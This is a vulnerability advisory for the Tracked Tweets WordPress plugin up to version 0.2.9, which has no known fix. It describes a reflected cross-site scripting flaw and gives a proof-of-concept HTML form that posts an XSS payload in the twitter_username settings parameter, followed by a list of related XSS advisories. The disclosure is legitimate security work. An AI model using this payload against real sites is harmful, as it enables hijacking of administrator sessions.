Tracked Tweets <= 0.2.9 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape some parameters before outputting them back in an admin page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

All parameters from the settings page are affected

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=tracked-tweets/trackedtweets.php" method="POST">
      <input type="hidden" name="twitter_username" value='"><img src onerror=alert(/XSS/)>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

No known fix

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Rahul Selvakumar

Submitter

Rahul Selvakumar

Verified

Yes

WPVDB ID

7120a583-f71c-42e1-89e1-a756fcc5d6e2

Timeline

Publicly Published

2022-04-25 (about 4 years ago)

Added

2022-04-25 (about 4 years ago)

Last Updated

2022-04-25 (about 4 years ago)

Other

Published

Title

Published

2025-04-30

Title

AM LottiePlayer < 3.5.4 - Authenticated (Author+) Stored Cross-Site Scripting via Uploaded Lottie File

Published

2025-03-19

Title

Narnoo Operator <= 2.0.0 - Reflected Cross-Site Scripting

Published

2024-03-28

Title

wp-forecast < 9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-07-04

Title

(Simply) Guest Author Name < 4.40 - Contributor+ Stored XSS

Published

2023-03-20

Title

Klaviyo <= 3.0.10 - Admin+ Stored XSS